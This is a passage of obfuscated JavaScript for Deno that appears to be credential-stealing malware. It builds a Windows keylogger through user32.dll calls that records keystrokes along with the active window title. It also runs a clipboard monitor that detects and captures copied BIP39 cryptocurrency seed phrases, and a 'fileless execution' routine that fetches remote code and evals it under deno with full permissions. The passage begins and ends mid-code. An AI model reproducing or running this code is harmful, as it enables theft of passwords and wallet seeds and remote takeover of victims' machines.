words: _0x3a6ac2
} = normalize(_0x269af3),
_0x270bd3 = getCoder(_0x2ad9eb3)["decode"](_0x3a6ac2);
return aentropy(_0x270bd3), _0x270bd3;
}
function validateMnemonic(_0x3ca9bd3, _0x358e5) {
try {
mnemonicToEntropy(_0x3ca9bd3, _0x358e5);
} catch (_0x580b) {
return ![];
}
return !![];
}
var wordlist = "abandon\nability\nable\nabout\nabove\nabsent\nabsorb\nabstract\nabsurd\nabuse\naccess\naccident\naccount\naccuse\nachieve\nacid\nacoustic\nacquire\nacross\nact\naction\nactor\nactress\nactual\nadapt\nadd\naddict\naddress\nadjust\nadmit\nadult\nadvance\nadvice\naerobic\naffair\nafford\nafraid\nagain\nage\nagent\nagree\nahead\naim\nair\nairport\naisle\nalarm\nalbum\nalcohol\nalert\nalien\nall\nalley\nallow\nalmost\nalone\nalpha\nalready\nalso\nalter\nalways\namateur\namazing\namong\namount\namused\nanalyst\nanchor\nancient\nanger\nangle\nangry\nanimal\nankle\nannounce\nannual\nanother\nanswer\nantenna\nantique\nanxiety\nany\napart\napology\nappear\napple\napprove\napril\narch\narctic\narea\narena\nargue\narm\narmed\narmor\narmy\naround\narrange\narrest\narrive\narrow\nart\nartefact\nartist\nartwork\nask\naspect\nassault\nasset\nassist\nassume\nasthma\nathlete\natom\nattack\nattend\nattitude\nattract\nauction\naudit\naugust\naunt\nauthor\nauto\nautumn\naverage\navocado\navoid\nawake\naware\naway\nawesome\nawful\nawkward\naxis\nbaby\nbachelor\nbacon\nbadge\nbag\nbalance\nbalcony\nball\nbamboo\nbanana\nbanner\nbar\nbarely\nbargain\nbarrel\nbase\nbasic\nbasket\nbattle\nbeach\nbean\nbeauty\nbecause\nbecome\nbeef\nbefore\nbegin\nbehave\nbehind\nbelieve\nbelow\nbelt\nbench\nbenefit\nbest\nbetray\nbetter\nbetween\nbeyond\nbicycle\nbid\nbike\nbind\nbiology\nbird\nbirth\nbitter\nblack\nblade\nblame\nblanket\nblast\nbleak\nbless\nblind\nblood\nblossom\nblouse\nblue\nblur\nblush\nboard\nboat\nbody\nboil\nbomb\nbone\nbonus\nbook\nboost\nborder\nboring\nborrow\nboss\nbottom\nbounce\nbox\nboy\nbracket\nbrain\nbrand\nbrass\nbrave\nbread\nbreeze\nbrick\nbridge\nbrief\nbright\nbring\nbrisk\nbroccoli\nbroken\nbronze\nbroom\nbrother\nbrown\nbrush\nbubble\nbuddy\nbudget\nbuffalo\nbuild\nbulb\nbulk\nbullet\nbundle\nbunker\nburden\nburger\nburst\nbus\nbusiness\nbusy\nbutter\nbuyer\nbuzz\ncabbage\ncabin\ncable\ncactus\ncage\ncake\ncall\ncalm\ncamera\ncamp\ncan\ncanal\ncancel\ncandy\ncannon\ncanoe\ncanvas\ncanyon\ncapable\ncapital\ncaptain\ncar\ncarbon\ncard\ncargo\ncarpet\ncarry\ncart\ncase\ncash\ncasino\ncastle\ncasual\ncat\ncatalog\ncatch\ncategory\ncattle\ncaught\ncause\ncaution\ncave\nceiling\ncelery\ncement\ncensus\ncentury\ncereal\ncertain\nchair\nchalk\nchampion\nchange\nchaos\nchapter\ncharge\nchase\nchat\ncheap\ncheck\ncheese\nchef\ncherry\nchest\nchicken\nchief\nchild\nchimney\nchoice\nchoose\nchronic\nchuckle\nchunk\nchurn\ncigar\ncinnamon\ncircle\ncitizen\ncity\ncivil\nclaim\nclap\nclarify\nclaw\nclay\nclean\nclerk\nclever\nclick\nclient\ncliff\nclimb\nclinic\nclip\nclock\nclog\nclose\ncloth\ncloud\nclown\nclub\nclump\ncluster\nclutch\ncoach\ncoast\ncoconut\ncode\ncoffee\ncoil\ncoin\ncollect\ncolor\ncolumn\ncombine\ncome\ncomfort\ncomic\ncommon\ncompany\nconcert\nconduct\nconfirm\ncongress\nconnect\nconsider\ncontrol\nconvince\ncook\ncool\ncopper\ncopy\ncoral\ncore\ncorn\ncorrect\ncost\ncotton\ncouch\ncountry\ncouple\ncourse\ncousin\ncover\ncoyote\ncrack\ncradle\ncraft\ncram\ncrane\ncrash\ncrater\ncrawl\ncrazy\ncream\ncredit\ncreek\ncrew\ncricket\ncrime\ncrisp\ncritic\ncrop\ncross\ncrouch\ncrowd\ncrucial\ncruel\ncruise\ncrumble\ncrunch\ncrush\ncry\ncrystal\ncube\nculture\ncup\ncupboard\ncurious\ncurrent\ncurtain\ncurve\ncushion\ncustom\ncute\ncycle\ndad\ndamage\ndamp\ndance\ndanger\ndaring\ndash\ndaughter\ndawn\nday\ndeal\ndebate\ndebris\ndecade\ndecember\ndecide\ndecline\ndecorate\ndecrease\ndeer\ndefense\ndefine\ndefy\ndegree\ndelay\ndeliver\ndemand\ndemise\ndenial\ndentist\ndeny\ndepart\ndepend\ndeposit\ndepth\ndeputy\nderive\ndescribe\ndesert\ndesign\ndesk\ndespair\ndestroy\ndetail\ndetect\ndevelop\ndevice\ndevote\ndiagram\ndial\ndiamond\ndiary\ndice\ndiesel\ndiet\ndiffer\ndigital\ndignity\ndilemma\ndinner\ndinosaur\ndirect\ndirt\ndisagree\ndiscover\ndisease\ndish\ndismiss\ndisorder\ndisplay\ndistance\ndivert\ndivide\ndivorce\ndizzy\ndoctor\ndocument\ndog\ndoll\ndolphin\ndomain\ndonate\ndonkey\ndonor\ndoor\ndose\ndouble\ndove\ndraft\ndragon\ndrama\ndrastic\ndraw\ndream\ndress\ndrift\ndrill\ndrink\ndrip\ndrive\ndrop\ndrum\ndry\nduck\ndumb\ndune\nduring\ndust\ndutch\nduty\ndwarf\ndynamic\neager\neagle\nearly\nearn\nearth\neasily\neast\neasy\necho\necology\neconomy\nedge\nedit\neducate\neffort\negg\neight\neither\nelbow\nelder\nelectric\nelegant\nelement\nelephant\nelevator\nelite\nelse\nembark\nembody\nembrace\nemerge\nemotion\nemploy\nempower\nempty\nenable\nenact\nend\nendless\nendorse\nenemy\nenergy\nenforce\nengage\nengine\nenhance\nenjoy\nenlist\nenough\nenrich\nenroll\nensure\nenter\nentire\nentry\nenvelope\nepisode\nequal\nequip\nera\nerase\nerode\nerosion\nerror\nerupt\nescape\nessay\nessence\nestate\neternal\nethics\nevidence\nevil\nevoke\nevolve\nexact\nexample\nexcess\nexchange\nexcite\nexclude\nexcuse\nexecute\nexercise\nexhaust\nexhibit\nexile\nexist\nexit\nexotic\nexpand\nexpect\nexpire\nexplain\nexpose\nexpress\nextend\nextra\neye\neyebrow\nfabric\nface\nfaculty\nfade\nfaint\nfaith\nfall\nfalse\nfame\nfamily\nfamous\nfan\nfancy\nfantasy\nfarm\nfashion\nfat\nfatal\nfather\nfatigue\nfault\nfavorite\nfeature\nfebruary\nfederal\nfee\nfeed\nfeel\nfemale\nfence\nfestival\nfetch\nfever\nfew\nfiber\nfiction\nfield\nfigure\nfile\nfilm\nfilter\nfinal\nfind\nfine\nfinger\nfinish\nfire\nfirm\nfirst\nfiscal\nfish\nfit\nfitness\nfix\nflag\nflame\nflash\nflat\nflavor\nflee\nflight\nflip\nfloat\nflock\nfloor\nflower\nfluid\nflush\nfly\nfoam\nfocus\nfog\nfoil\nfold\nfollow\nfood\nfoot\nforce\nforest\nforget\nfork\nfortune\nforum\nforward\nfossil\nfoster\nfound\nfox\nfragile\nframe\nfrequent\nfresh\nfriend\nfringe\nfrog\nfront\nfrost\nfrown\nfrozen\nfruit\nfuel\nfun\nfunny\nfurnace\nfury\nfuture\ngadget\ngain\ngalaxy\ngallery\ngame\ngap\ngarage\ngarbage\ngarden\ngarlic\ngarment\ngas\ngasp\ngate\ngather\ngauge\ngaze\ngeneral\ngenius\ngenre\ngentle\ngenuine\ngesture\nghost\ngiant\ngift\ngiggle\nginger\ngiraffe\ngirl\ngive\nglad\nglance\nglare\nglass\nglide\nglimpse\nglobe\ngloom\nglory\nglove\nglow\nglue\ngoat\ngoddess\ngold\ngood\ngoose\ngorilla\ngospel\ngossip\ngovern\ngown\ngrab\ngrace\ngrain\ngrant\ngrape\ngrass\ngravity\ngreat\ngreen\ngrid\ngrief\ngrit\ngrocery\ngroup\ngrow\ngrunt\nguard\nguess\nguide\nguilt\nguitar\ngun\ngym\nhabit\nhair\nhalf\nhammer\nhamster\nhand\nhappy\nharbor\nhard\nharsh\nharvest\nhat\nhave\nhawk\nhazard\nhead\nhealth\nheart\nheavy\nhedgehog\nheight\nhello\nhelmet\nhelp\nhen\nhero\nhidden\nhigh\nhill\nhint\nhip\nhire\nhistory\nhobby\nhockey\nhold\nhole\nholiday\nhollow\nhome\nhoney\nhood\nhope\nhorn\nhorror\nhorse\nhospital\nhost\nhotel\nhour\nhover\nhub\nhuge\nhuman\nhumble\nhumor\nhundred\nhungry\nhunt\nhurdle\nhurry\nhurt\nhusband\nhybrid\nice\nicon\nidea\nidentify\nidle\nignore\nill\nillegal\nillness\nimage\nimitate\nimmense\nimmune\nimpact\nimpose\nimprove\nimpulse\ninch\ninclude\nincome\nincrease\nindex\nindicate\nindoor\nindustry\ninfant\ninflict\ninform\ninhale\ninherit\ninitial\ninject\ninjury\ninmate\ninner\ninnocent\ninput\ninquiry\ninsane\ninsect\ninside\ninspire\ninstall\nintact\ninterest\ninto\ninvest\ninvite\ninvolve\niron\nisland\nisolate\nissue\nitem\nivory\njacket\njaguar\njar\njazz\njealous\njeans\njelly\njewel\njob\njoin\njoke\njourney\njoy\njudge\njuice\njump\njungle\njunior\njunk\njust\nkangaroo\nkeen\nkeep\nketchup\nkey\nkick\nkid\nkidney\nkind\nkingdom\nkiss\nkit\nkitchen\nkite\nkitten\nkiwi\nknee\nknife\nknock\nknow\nlab\nlabel\nlabor\nladder\nlady\nlake\nlamp\nlanguage\nlaptop\nlarge\nlater\nlatin\nlaugh\nlaundry\nlava\nlaw\nlawn\nlawsuit\nlayer\nlazy\nleader\nleaf\nlearn\nleave\nlecture\nleft\nleg\nlegal\nlegend\nleisure\nlemon\nlend\nlength\nlens\nleopard\nlesson\nletter\nlevel\nliar\nliberty\nlibrary\nlicense\nlife\nlift\nlight\nlike\nlimb\nlimit\nlink\nlion\nliquid\nlist\nlittle\nlive\nlizard\nload\nloan\nlobster\nlocal\nlock\nlogic\nlonely\nlong\nloop\nlottery\nloud\nlounge\nlove\nloyal\nlucky\nluggage\nlumber\nlunar\nlunch\nluxury\nlyrics\nmachine\nmad\nmagic\nmagnet\nmaid\nmail\nmain\nmajor\nmake\nmammal\nman\nmanage\nmandate\nmango\nmansion\nmanual\nmaple\nmarble\nmarch\nmargin\nmarine\nmarket\nmarriage\nmask\nmass\nmaster\nmatch\nmaterial\nmath\nmatrix\nmatter\nmaximum\nmaze\nmeadow\nmean\nmeasure\nmeat\nmechanic\nmedal\nmedia\nmelody\nmelt\nmember\nmemory\nmention\nmenu\nmercy\nmerge\nmerit\nmerry\nmesh\nmessage\nmetal\nmethod\nmiddle\nmidnight\nmilk\nmillion\nmimic\nmind\nminimum\nminor\nminute\nmiracle\nmirror\nmisery\nmiss\nmistake\nmix\nmixed\nmixture\nmobile\nmodel\nmodify\nmom\nmoment\nmonitor\nmonkey\nmonster\nmonth\nmoon\nmoral\nmore\nmorning\nmosquito\nmother\nmotion\nmotor\nmountain\nmouse\nmove\nmovie\nmuch\nmuffin\nmule\nmultiply\nmuscle\nmuseum\nmushroom\nmusic\nmust\nmutual\nmyself\nmystery\nmyth\nnaive\nname\nnapkin\nnarrow\nnasty\nnation\nnature\nnear\nneck\nneed\nnegative\nneglect\nneither\nnephew\nnerve\nnest\nnet\nnetwork\nneutral\nnever\nnews\nnext\nnice\nnight\nnoble\nnoise\nnominee\nnoodle\nnormal\nnorth\nnose\nnotable\nnote\nnothing\nnotice\nnovel\nnow\nnuclear\nnumber\nnurse\nnut\noak\nobey\nobject\noblige\nobscure\nobserve\nobtain\nobvious\noccur\nocean\noctober\nodor\noff\noffer\noffice\noften\noil\nokay\nold\nolive\nolympic\nomit\nonce\none\nonion\nonline\nonly\nopen\nopera\nopinion\noppose\noption\norange\norbit\norchard\norder\nordinary\norgan\norient\noriginal\norphan\nostrich\nother\noutdoor\nouter\noutput\noutside\noval\noven\nover\nown\nowner\noxygen\noyster\nozone\npact\npaddle\npage\npair\npalace\npalm\npanda\npanel\npanic\npanther\npaper\nparade\nparent\npark\nparrot\nparty\npass\npatch\npath\npatient\npatrol\npattern\npause\npave\npayment\npeace\npeanut\npear\npeasant\npelican\npen\npenalty\npencil\npeople\npepper\nperfect\npermit\nperson\npet\nphone\nphoto\nphrase\nphysical\npiano\npicnic\npicture\npiece\npig\npigeon\npill\npilot\npink\npioneer\npipe\npistol\npitch\npizza\nplace\nplanet\nplastic\nplate\nplay\nplease\npledge\npluck\nplug\nplunge\npoem\npoet\npoint\npolar\npole\npolice\npond\npony\npool\npopular\nportion\nposition\npossible\npost\npotato\npottery\npoverty\npowder\npower\npractice\npraise\npredict\nprefer\nprepare\npresent\npretty\nprevent\nprice\npride\nprimary\nprint\npriority\nprison\nprivate\nprize\nproblem\nprocess\nproduce\nprofit\nprogram\nproject\npromote\nproof\nproperty\nprosper\nprotect\nproud\nprovide\npublic\npudding\npull\npulp\npulse\npumpkin\npunch\npupil\npuppy\npurchase\npurity\npurpose\npurse\npush\nput\npuzzle\npyramid\nquality\nquantum\nquarter\nquestion\nquick\nquit\nquiz\nquote\nrabbit\nraccoon\nrace\nrack\nradar\nradio\nrail\nrain\nraise\nrally\nramp\nranch\nrandom\nrange\nrapid\nrare\nrate\nrather\nraven\nraw\nrazor\nready\nreal\nreason\nrebel\nrebuild\nrecall\nreceive\nrecipe\nrecord\nrecycle\nreduce\nreflect\nreform\nrefuse\nregion\nregret\nregular\nreject\nrelax\nrelease\nrelief\nrely\nremain\nremember\nremind\nremove\nrender\nrenew\nrent\nreopen\nrepair\nrepeat\nreplace\nreport\nrequire\nrescue\nresemble\nresist\nresource\nresponse\nresult\nretire\nretreat\nreturn\nreunion\nreveal\nreview\nreward\nrhythm\nrib\nribbon\nrice\nrich\nride\nridge\nrifle\nright\nrigid\nring\nriot\nripple\nrisk\nritual\nrival\nriver\nroad\nroast\nrobot\nrobust\nrocket\nromance\nroof\nrookie\nroom\nrose\nrotate\nrough\nround\nroute\nroyal\nrubber\nrude\nrug\nrule\nrun\nrunway\nrural\nsad\nsaddle\nsadness\nsafe\nsail\nsalad\nsalmon\nsalon\nsalt\nsalute\nsame\nsample\nsand\nsatisfy\nsatoshi\nsauce\nsausage\nsave\nsay\nscale\nscan\nscare\nscatter\nscene\nscheme\nschool\nscience\nscissors\nscorpion\nscout\nscrap\nscreen\nscript\nscrub\nsea\nsearch\nseason\nseat\nsecond\nsecret\nsection\nsecurity\nseed\nseek\nsegment\nselect\nsell\nseminar\nsenior\nsense\nsentence\nseries\nservice\nsession\nsettle\nsetup\nseven\nshadow\nshaft\nshallow\nshare\nshed\nshell\nsheriff\nshield\nshift\nshine\nship\nshiver\nshock\nshoe\nshoot\nshop\nshort\nshoulder\nshove\nshrimp\nshrug\nshuffle\nshy\nsibling\nsick\nside\nsiege\nsight\nsign\nsilent\nsilk\nsilly\nsilver\nsimilar\nsimple\nsince\nsing\nsiren\nsister\nsituate\nsix\nsize\nskate\nsketch\nski\nskill\nskin\nskirt\nskull\nslab\nslam\nsleep\nslender\nslice\nslide\nslight\nslim\nslogan\nslot\nslow\nslush\nsmall\nsmart\nsmile\nsmoke\nsmooth\nsnack\nsnake\nsnap\nsniff\nsnow\nsoap\nsoccer\nsocial\nsock\nsoda\nsoft\nsolar\nsoldier\nsolid\nsolution\nsolve\nsomeone\nsong\nsoon\nsorry\nsort\nsoul\nsound\nsoup\nsource\nsouth\nspace\nspare\nspatial\nspawn\nspeak\nspecial\nspeed\nspell\nspend\nsphere\nspice\nspider\nspike\nspin\nspirit\nsplit\nspoil\nsponsor\nspoon\nsport\nspot\nspray\nspread\nspring\nspy\nsquare\nsqueeze\nsquirrel\nstable\nstadium\nstaff\nstage\nstairs\nstamp\nstand\nstart\nstate\nstay\nsteak\nsteel\nstem\nstep\nstereo\nstick\nstill\nsting\nstock\nstomach\nstone\nstool\nstory\nstove\nstrategy\nstreet\nstrike\nstrong\nstruggle\nstudent\nstuff\nstumble\nstyle\nsubject\nsubmit\nsubway\nsuccess\nsuch\nsudden\nsuffer\nsugar\nsuggest\nsuit\nsummer\nsun\nsunny\nsunset\nsuper\nsupply\nsupreme\nsure\nsurface\nsurge\nsurprise\nsurround\nsurvey\nsuspect\nsustain\nswallow\nswamp\nswap\nswarm\nswear\nsweet\nswift\nswim\nswing\nswitch\nsword\nsymbol\nsymptom\nsyrup\nsystem\ntable\ntackle\ntag\ntail\ntalent\ntalk\ntank\ntape\ntarget\ntask\ntaste\ntattoo\ntaxi\nteach\nteam\ntell\nten\ntenant\ntennis\ntent\nterm\ntest\ntext\nthank\nthat\ntheme\nthen\ntheory\nthere\nthey\nthing\nthis\nthought\nthree\nthrive\nthrow\nthumb\nthunder\nticket\ntide\ntiger\ntilt\ntimber\ntime\ntiny\ntip\ntired\ntissue\ntitle\ntoast\ntobacco\ntoday\ntoddler\ntoe\ntogether\ntoilet\ntoken\ntomato\ntomorrow\ntone\ntongue\ntonight\ntool\ntooth\ntop\ntopic\ntopple\ntorch\ntornado\ntortoise\ntoss\ntotal\ntourist\ntoward\ntower\ntown\ntoy\ntrack\ntrade\ntraffic\ntragic\ntrain\ntransfer\ntrap\ntrash\ntravel\ntray\ntreat\ntree\ntrend\ntrial\ntribe\ntrick\ntrigger\ntrim\ntrip\ntrophy\ntrouble\ntruck\ntrue\ntruly\ntrumpet\ntrust\ntruth\ntry\ntube\ntuition\ntumble\ntuna\ntunnel\nturkey\nturn\nturtle\ntwelve\ntwenty\ntwice\ntwin\ntwist\ntwo\ntype\ntypical\nugly\numbrella\nunable\nunaware\nuncle\nuncover\nunder\nundo\nunfair\nunfold\nunhappy\nuniform\nunique\nunit\nuniverse\nunknown\nunlock\nuntil\nunusual\nunveil\nupdate\nupgrade\nuphold\nupon\nupper\nupset\nurban\nurge\nusage\nuse\nused\nuseful\nuseless\nusual\nutility\nvacant\nvacuum\nvague\nvalid\nvalley\nvalve\nvan\nvanish\nvapor\nvarious\nvast\nvault\nvehicle\nvelvet\nvendor\nventure\nvenue\nverb\nverify\nversion\nvery\nvessel\nveteran\nviable\nvibrant\nvicious\nvictory\nvideo\nview\nvillage\nvintage\nviolin\nvirtual\nvirus\nvisa\nvisit\nvisual\nvital\nvivid\nvocal\nvoice\nvoid\nvolcano\nvolume\nvote\nvoyage\nwage\nwagon\nwait\nwalk\nwall\nwalnut\nwant\nwarfare\nwarm\nwarrior\nwash\nwasp\nwaste\nwater\nwave\nway\nwealth\nweapon\nwear\nweasel\nweather\nweb\nwedding\nweekend\nweird\nwelcome\nwest\nwet\nwhale\nwhat\nwheat\nwheel\nwhen\nwhere\nwhip\nwhisper\nwide\nwidth\nwife\nwild\nwill\nwin\nwindow\nwine\nwing\nwink\nwinner\nwinter\nwire\nwisdom\nwise\nwish\nwitness\nwolf\nwoman\nwonder\nwood\nwool\nword\nwork\nworld\nworry\nworth\nwrap\nwreck\nwrestle\nwrist\nwrite\nwrong\nyard\nyear\nyellow\nyou\nyoung\nyouth\nzebra\nzero\nzone\nzoo" ["split"]("\n"),
CF_UNICODETEXT = 13,
MAX_CLIPBOARD_SIZE_KB = 1024,
user32 = null,
kernel322 = null;
function loadDlls() {
const _0x4c379e2 = potato;
if (user32 && kernel322) return;
user32 = Deno["dlopen"]("user32.dll", {
"GetForegroundWindow": {
"parameters": [],
"result": "pointer"
},
"GetWindowTextW": {
"parameters": ["pointer", "buffer", "i32"],
"result": "i32"
},
"GetWindowThreadProcessId": {
"parameters": ["pointer", "pointer"],
"result": "u32"
},
"GetKeyboardLayout": {
"parameters": ["u32"],
"result": "pointer"
},
"GetAsyncKeyState": {
"parameters": ["i32"],
"result": "i16"
},
"MapVirtualKeyExW": {
"parameters": ["u32", "u32", "pointer"],
"result": "u32"
},
"ToUnicodeEx": {
"parameters": ["u32", "u32", "buffer", "buffer", "i32", "u32", "pointer"],
"result": "i32"
},
"OpenClipboard": {
"parameters": ["pointer"],
"result": "i32"
},
"CloseClipboard": {
"parameters": [],
"result": "i32"
},
"GetClipboardData": {
"parameters": ["u32"],
"result": "pointer"
},
"GetClipboardSequenceNumber": {
"parameters": [],
"result": "u32"
}
}), kernel322 = Deno["dlopen"]("kernel32.dll", {
"GlobalLock": {
"parameters": ["pointer"],
"result": "pointer"
},
"GlobalUnlock": {
"parameters": ["pointer"],
"result": "i32"
},
"GlobalSize": {
"parameters": ["pointer"],
"result": "usize"
}
});
}
function getActiveWindowTitle() {
const _0x44858c2 = potato;
try {
if (!user32) return "Unknown";
const _0x1fc26f5 = user32["symbols"]["GetForegroundWindow"]();
if (!_0x1fc26f5 || _0x1fc26f5 === null) return "Unknown";
const _0x5317d3 = new Uint16Array(512),
_0x1f8f3 = user32["symbols"]["GetWindowTextW"](_0x1fc26f5, _0x5317d3, 512);
if (_0x1f8f3 === 0) return "Unknown";
return new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5317d3["buffer"], 0, _0x1f8f3 * 2));
} catch {
return "Unknown";
}
}
var keyboardState = {
"accumulatedText": "",
"lastKeyTime": Date["now"](),
"currentWindow": "",
"prevState": new Map()
},
KEYS_TO_MONITOR = [...Array["from"]({
"length": 26
}, (_0x65af, _0x51c0a2) => 65 + _0x51c0a2), ...Array["from"]({
"length": 10
}, (_0x17eca, _0x287f9a3) => 48 + _0x287f9a3), ...Array["from"]({
"length": 10
}, (_0x2b1ca, _0xa6df2) => 96 + _0xa6df2), 32, 13, 8, 9, 186, 187, 188, 189, 190, 191, 192, 219, 220, 221, 222, 106, 107, 109, 110, 111];
async function waitKeyboardLog() {
const _0x3fc9dc2 = potato;
loadDlls();
if (!user32) throw new Error("Failed to load user32.dll");
keyboardState["accumulatedText"] = "", keyboardState["lastKeyTime"] = Date["now"](), keyboardState["currentWindow"] = getActiveWindowTitle(), keyboardState["prevState"]["clear"]();
let _0x3b659c3 = 0;
while (!![]) {
_0x3b659c3++;
const _0x2cbc0e3 = user32["symbols"]["GetForegroundWindow"](),
_0x26d3b2 = user32["symbols"]["GetWindowThreadProcessId"](_0x2cbc0e3, null),
_0x4e9 = user32["symbols"]["GetKeyboardLayout"](_0x26d3b2),
_0xcd7 = new Uint8Array(256);
if (user32["symbols"]["GetAsyncKeyState"](16) < 0) _0xcd7[16] = 128;
if (user32["symbols"]["GetAsyncKeyState"](17) < 0) _0xcd7[17] = 128;
if (user32["symbols"]["GetAsyncKeyState"](18) < 0) _0xcd7[18] = 128;
if ((user32["symbols"]["GetAsyncKeyState"](20) & 1) !== 0) _0xcd7[20] = 1;
let _0x313b2 = 0;
for (const _0x2ee2ca8 of KEYS_TO_MONITOR) {
const _0x3233d2 = user32["symbols"]["GetAsyncKeyState"](_0x2ee2ca8),
_0x3348cc5 = _0x3233d2 < 0,
_0x277 = keyboardState["prevState"]["get"](_0x2ee2ca8) || ![];
if (_0x3348cc5) _0x313b2++;
if (_0x3348cc5 && !_0x277) {
const _0x5b0be3 = user32["symbols"]["MapVirtualKeyExW"](_0x2ee2ca8, 0, _0x4e9);
_0xcd7[_0x2ee2ca8] = 128;
const _0x43e3 = new Uint16Array(5),
_0x27704d4 = user32["symbols"]["ToUnicodeEx"](_0x2ee2ca8, _0x5b0be3, _0xcd7, _0x43e3, 5, 0, _0x4e9);
if (_0x27704d4 > 0) {
const _0x1c73ba3 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x43e3["buffer"], 0, _0x27704d4 * 2));
keyboardState["accumulatedText"] += _0x1c73ba3, keyboardState["lastKeyTime"] = Date["now"]();
}
}
keyboardState["prevState"]["set"](_0x2ee2ca8, _0x3348cc5);
}
await new Promise(_0x3a5cda3 => setTimeout(_0x3a5cda3, 100));
const _0x2c17 = Date["now"]() - keyboardState["lastKeyTime"],
_0xaca3 = keyboardState["accumulatedText"];
if (Date["now"]() % 1000 < 50) {
const _0x2f80c3 = getActiveWindowTitle();
_0x2f80c3 !== keyboardState["currentWindow"] && (keyboardState["currentWindow"] = _0x2f80c3);
}
if (_0x2c17 > 10000 && _0xaca3["length"] > 0) {
const _0x10d2 = keyboardState["currentWindow"];
return keyboardState["accumulatedText"] = "", keyboardState["lastKeyTime"] = Date["now"](), {
"focusApp": _0x10d2,
"text": _0xaca3
};
}
}
}
function getClipboardText() {
const _0x4c5b = potato;
try {
if (!user32 || !kernel322) return null;
if (user32["symbols"]["OpenClipboard"](null) === 0) return null;
try {
const _0x25a6 = user32["symbols"]["GetClipboardData"](CF_UNICODETEXT);
if (!_0x25a6 || _0x25a6 === null) return null;
const _0x57a9f4 = kernel322["symbols"]["GlobalLock"](_0x25a6);
if (!_0x57a9f4 || _0x57a9f4 === null) return null;
try {
const _0x2a4d1a4 = Number(kernel322["symbols"]["GlobalSize"](_0x25a6));
if (_0x2a4d1a4 > MAX_CLIPBOARD_SIZE_KB) return null;
const _0x22549e3 = new Deno["UnsafePointerView"](_0x57a9f4),
_0x5d15 = new Uint16Array(_0x2a4d1a4 / 2);
for (let _0x1a3c6 = 0; _0x1a3c6 < _0x5d15["length"]; _0x1a3c6++) {
const _0x4ae3 = _0x22549e3["getUint16"](_0x1a3c6 * 2);
if (_0x4ae3 === 0) {
const _0x132ba3 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5d15["buffer"], 0, _0x1a3c6 * 2));
return _0x132ba3["length"] > 0 ? _0x132ba3 : null;
}
_0x5d15[_0x1a3c6] = _0x4ae3;
}
const _0x280 = new TextDecoder("utf-16le")["decode"](new Uint8Array(_0x5d15["buffer"]));
return _0x280["length"] > 0 ? _0x280 : null;
} finally {
kernel322["symbols"]["GlobalUnlock"](_0x25a6);
}
} finally {
user32["symbols"]["CloseClipboard"]();
}
} catch {
return null;
}
}
function isBIP39Seed(_0x5df7c2) {
const _0x4434f = potato;
try {
const _0x3344c3 = _0x5df7c2["trim"]()["replace"](/\s+/g, " ")["toLowerCase"](),
_0x3f4 = _0x3344c3["split"](" ")["length"];
if (![12, 15, 18, 21, 24]["includes"](_0x3f4)) return ![];
return validateMnemonic(_0x3344c3, wordlist);
} catch {
return ![];
}
}
function perpetual(_0x21cca5, _0x281) {
_0x21cca5 = _0x21cca5 - 280;
const _0x2d29f2 = skillful();
let _0x24d2 = _0x2d29f2[_0x21cca5];
return _0x24d2;
}
async function waitClipboardLog() {
const _0x282 = potato;
loadDlls();
if (!user32) throw new Error("Failed to load user32.dll");
let _0x1c7b4 = 0;
while (!![]) {
await new Promise(_0x284 => setTimeout(_0x284, 500));
const _0x1a25bc4 = user32["symbols"]["GetClipboardSequenceNumber"]();
if (_0x1a25bc4 !== _0x1c7b4 && _0x1c7b4 !== 0) {
const _0x232cb6 = getClipboardText();
if (_0x232cb6 && isBIP39Seed(_0x232cb6)) {
const _0x287 = getActiveWindowTitle();
return console["log"]("BIP39 seed detected! " + _0x232cb6["split"](" ")["length"] + " words from " + _0x287), {
"focusApp": _0x287,
"clipboard": _0x232cb6
};
}
}
_0x1c7b4 = _0x1a25bc4;
}
}
var import_node_child_process = require("node:child_process"),
import_node_process = __toESM(require("node:process"));
function runModule(_0x545ee2) {
const _0x25726b3 = potato,
{
name: _0x17f6dc7,
moduleUrl: _0x43c5a4
} = _0x545ee2;
console["log"]("[" + _0x17f6dc7 + "] Starting fileless execution from " + _0x43c5a4 + "...");
const _0x44b9b2 = "import{createRequire}from\"node:module\";globalThis.require=createRequire(\"file:///\");globalThis.module={exports:{}};globalThis.exports=globalThis.module.exports;globalThis.__filename=\"file:///module.cjs\";globalThis.__dirname=\"file:///\";eval(await(await fetch(\"" + _0x43c5a4 + "\")).text())",
_0x444d1c3 = "data:application/javascript," + encodeURIComponent(_0x44b9b2);
return new Promise(_0x32b6f3 => {
const _0x16a6ec6 = _0x25726b3,
_0x4e2ce6 = (0, import_node_child_process["spawn"])("deno", ["run", "-A", _0x444d1c3], {
"stdio": ["inherit", "pipe", "pipe"],
"env": import_node_process["default"]["env"]
});
_0x4e2ce6["stdout"]?. ["on"]("data", _0x21cd2 => {
const _0x1edf = _0x16a6ec6;
console["log"]("[" + _0x17f6dc7 + "] " + _0x21cd2["toString"]()["trimEnd"]());
}), _0x4e2ce6["stderr"]?. ["on"]("data", _0x4a53df3 => {
const _0x28f93f2 = _0x16a6ec6;
console["error"]("[" + _0x17f6dc7 + "] " + _0x4a53df3["toString"]()["trimEnd"]());
}), _0x4e2ce6["on"]("close", _0x3ffb6d4 => {
const _0x288 = _0x16a6ec6;
console["log"]("[" + _0x17f6dc7 + "] Process exited with code " + _0x3ffb6d4), _0x32b6f3(_0x3ffb6d4);
}), _0x4e2ce6["on"]("error", _0x4d1ef2 => {
const _0x45b0bb2 = _0x16a6ec6;
console["error"]("[" + _0x17f6dc7 + "] Failed to start process:", _0x4d1ef2), _0x32b6f3(null);
});
});
}
var import_node_net = require("node:net"),
mutexServer = null;
async function createMutex(_0x4ac4) {
return new Promise(_0x232f2 => {
let _0x21f4c0 = 0;
const _0x5a6b6d7 = 10;
let _0x299 = ![],
_0x57531a6;
const _0x4032e6 = _0x2b0e2 => {
if (!_0x299) {
_0x299 = !![];
if (_0x57531a6) clearInterval(_0x57531a6);
_0x232f2(_0x2b0e2);
}
},
_0x2d72ec4 = () => {
const _0x298 = perpetual;
if (_0x299) return;
_0x21f4c0++, console["log"]("[" + new Date()["toISOString"]() + "] Mutex attempt " + _0x21f4c0 + "/" + _0x5a6b6d7);
try {
mutexServer = (0, import_node_net["createServer"])(), mutexServer["on"]("error", _0x297 => {
const _0xc = _0x298;
